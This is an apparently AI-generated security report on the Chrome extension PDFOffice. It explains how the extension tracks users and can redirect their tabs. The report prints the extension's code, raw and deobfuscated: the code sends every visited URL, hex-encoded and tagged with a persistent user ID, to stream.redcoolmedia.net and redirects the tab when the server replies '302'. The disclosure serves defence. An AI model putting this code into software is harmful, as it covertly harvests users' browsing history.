Is PDF editor PDFOffice to edit and create PDF safe?
PDFOffice is high risk. PDFOffice sends each non-Redcoolmedia page URL to stream.redcoolmedia.net with a stored user ID. A '302' reply makes it build a Redcoolmedia app URL from the page/ID, then call Chrome's tab-update API; the redirect went untested.…
Who publishes itRedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding
RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
15 other listings published from this account, 412k+ users between them. 10 of them carry a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server response can redirect the active tab
PDFOffice sends each non-Redcoolmedia page URL to stream.redcoolmedia.net with a stored user ID.
A '302' reply makes it build a Redcoolmedia app URL from the page/ID, then call Chrome's tab-update API; the redirect went untested.
You activate a tab or load a new page while the extension is enabled.
The handler skips Redcoolmedia pages, skips non-HTTP URLs, and avoids immediately repeating the last URL.
The extension sends that page URL to Redcoolmedia and can redirect the current tab when the response contains 302.
The redirect branch is server-gated: it runs after a 200 response whose text includes the string 302.
| Field | Value | Why it matters | |
|---|---|---|---|
Current page URL | https://example.com/account/settings?tab=billing | Shows the exact page you are viewing, including path and query details when they are present. | |
Hex-encoded page URL | 68747470733a2f2f6578616d706c652e636f6d2f6163636f756e742f73657474696e67733f7461623d62696c6c696e67 | Carries the same page address in a less readable form, so the destination can reconstruct the page you visited. | |
Extension user identifier | a8k3m2q9zt | Lets the recipient link requests from the same browser profile over time. | |
Redirect target URL | https://www.redcoolmedia.net/api/app-pdfoffice.php?url=68747470733a2f2f6578616d706c652e636f6d2f6163636f756e742f73657474696e67733f7461623d62696c6c696e67&u=a8k3m2q9zt | Controls where the active tab is sent if the server response includes the redirect signal. |
| When | You did | Extension did |
|---|---|---|
| on tab event | user You switch to a tab or load a page with an HTTP URL. | extension The extension sends that page URL to stream.redcoolmedia.net after encoding it. |
| after 200 response | server The Redcoolmedia response text contains the string 302. | extension The extension updates the current tab to a Redcoolmedia app URL built from the same page URL. |
Tab listeners, Redcoolmedia request, 302 check, and tab update
function xdii(tabId) {
chrome.tabs.get(tabId, function(tab) {
if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) ) {
utyu = tab.url;
rtcc = "";
rtcc = utyu;
exx(rtcc);
lasiee = tab.url;
}
});
}
function web() {
this.init = function () {
chrome.tabs.onActivated.addListener(function(activeInfo) {
aati = activeInfo.tabId;
xdii(aati);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
xdii(tabId);
});
};
}async function exx(urly) {
var redxda = { usernameredcool: null, redcoolonline: null };
var usernameredcool = "";
var redcoolonline = "";
const redcool_key = "redcool_key";
let storageResult = await chrome.storage.local.get([redcool_key]);
if (redcool_key in storageResult) {
redxda = storageResult[redcool_key]
}
if ( redxda.usernameredcool ) {
usernameredcool = redxda.usernameredcool;
}
else {
usernameredcool = "" + randomString(10) + "".toLowerCase();
redxda.usernameredcool = usernameredcool;
}
if ( redxda.redcoolonline ) {
redcoolonline = redxda.redcoolonline;
}
else {
redcoolonline = "1";
redxda.redcoolonline = "1";
}
var stox = {};
stox[redcool_key] = redxda;
await chrome.storage.local.set(stox);
var date = new Date();
var un = usernameredcool;
if ( redxda.redcoolonline == "0")
return;
let rtcx = await fetch('https://stream.redcoolmedia.net/api/pdfofficeu.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
if (rtcx.status === 200) {
let dsx = await rtcx.text();
console.log(dsx);
var rse2 = dsx;
if ( rse2.indexOf("302") !== -1 ) {
var cvcv = 'https://www.redcoolmedia.net/api/app-pdfoffice.php?url=' + bin2hex(urly) + '&u=' + un;
//chrome.tabs.create({ url: cvcv });
chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
}
}
}function bin2hex (bin)
{
var i = 0, l = bin.length, chr, hex = '';
for (i; i < l; ++i)
{
chr = bin.charCodeAt(i).toString(16)
hex += chr.length < 2 ? '0' + chr : chr
}
return hex
}- stream.redcoolmedia.net
Receives the GET request containing the hex-encoded current page URL and extension user identifier.
- www.redcoolmedia.net
Used as the active-tab redirect destination when the response text contains the 302 signal.
Persistent Tracker ID Links All Your Visits Across Sessions
On first run, the extension generates a random 10-character ID saved to storage.
That ID rides every exfiltration request, linking your browsing across sessions and devices.
The value matched in storage.local, sync, and all four requests.
You install the extension and navigate to any page.
The first call to exx() triggers ID generation and storage before any URL is exfiltrated.
The extension generates a permanent identifier and stores it locally and in sync storage, then includes it in every future network request.
The identifier is never rotated, never expired, and not exposed to you in any settings UI.
usernameredcool is your tracking ID. redcoolonline is a server kill switch: '0' remotely stops exfiltration; it defaults to '1'.
chrome.storage.local key 'redcool_key'{
"redcoolonline": "1",
"usernameredcool": "jqtopoeq0v"
}Identifier generation and persistence (web.js)
// Module-load path: also stores ID in chrome.storage.sync for cross-device persistence
if (chrome.storage.sync.get('usernameredcool', function(obj) {})) {
// NOTE: this branch always fires (sync.get returns a Promise, which is truthy)
// but the callback is never awaited here — sync ID generation falls through to
// the exx() path in practice
usernameredcool = chrome.storage.sync.get('usernameredcool', function(obj) {});
} else {
usernameredcool = randomString(10).toLowerCase();
chrome.storage.sync.set({ 'usernameredcool': usernameredcool }, function() {});
}
// exx() path (lines 71-89): authoritative ID generation and local storage
if (redxda.usernameredcool) {
usernameredcool = redxda.usernameredcool; // reuse stored ID
} else {
usernameredcool = randomString(10).toLowerCase(); // generate new ID
redxda.usernameredcool = usernameredcool;
}
// ... (ID then written back to chrome.storage.local and sent as u= in fetch)| Field | Value | Why it matters | |
|---|---|---|---|
Persistent browser ID | jqtopoeq0v | A 10-character random string assigned on first run. It never changes and rides every URL report, joining your full browsing history. | |
Kill-switch flag | 1 | A server-readable flag stored alongside your ID. Set to '0' by the server, exfiltration pauses; the operator controls collection. |
Every URL You Visit Is Sent to a Third-Party Server
Every tab switch or navigation sends the full URL to stream.redcoolmedia.net, hex-encoded but decoding to the exact page.
Confirmed for google.com, amazon.com, facebook.com, and wikipedia.org, each producing a matching request.
You navigate to any page or switch browser tabs.
chrome.tabs.onActivated and chrome.tabs.onUpdated both fire, covering every tab focus and every page load.
The extension immediately fetches the tab URL and sends it to stream.redcoolmedia.net.
The URL is hex-encoded and appended as the l= query parameter alongside your persistent user identifier in the u= parameter.
The visited URL is encoded using a custom bin2hex() function before being placed in the l= query parameter. The encoding is not encryption, it is trivially reversible, but it obscures the content from casual log inspection.
https://www.google.com/
URL exfiltration function (web.js, deobfuscated)
async function exx(urly) {
// Read or generate persistent user ID from chrome.storage.local
const redcool_key = "redcool_key";
let storageResult = await chrome.storage.local.get([redcool_key]);
let redxda = (redcool_key in storageResult) ? storageResult[redcool_key] : { usernameredcool: null, redcoolonline: null };
// Generate ID on first run
if (!redxda.usernameredcool) {
redxda.usernameredcool = randomString(10).toLowerCase();
}
if (!redxda.redcoolonline) {
redxda.redcoolonline = "1";
}
await chrome.storage.local.set({ [redcool_key]: redxda });
// Kill-switch: if redcoolonline == "0" stop all exfil
if (redxda.redcoolonline === "0") return;
// Exfiltrate: hex-encode URL, send with persistent user ID
let response = await fetch(
'https://stream.redcoolmedia.net/api/pdfofficeu.php'
+ '?l=' + bin2hex(urly) // visited URL, hex-encoded
+ '&hex=1'
+ '&u=' + redxda.usernameredcool // persistent tracker ID
);
// Server-directed tab redirect
if (response.status === 200) {
let text = await response.text();
if (text.indexOf("302") !== -1) {
chrome.tabs.update(chrome.tabs.getCurrent().id,
{ url: 'https://www.redcoolmedia.net/api/app-pdfoffice.php?url=' + bin2hex(urly) + '&u=' + redxda.usernameredcool }
);
}
}
}- stream.redcoolmedia.net
Primary exfiltration endpoint. Receives the hex-encoded visited URL and persistent user ID on every navigation. Operated by Red Cool Media.
- www.redcoolmedia.net
Secondary destination used when the primary server responds with a '302' token, triggering a forced tab redirect that also carries the visited URL and user ID.
What it can do
Permissions this extension asks for, as declared in version 1.7.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs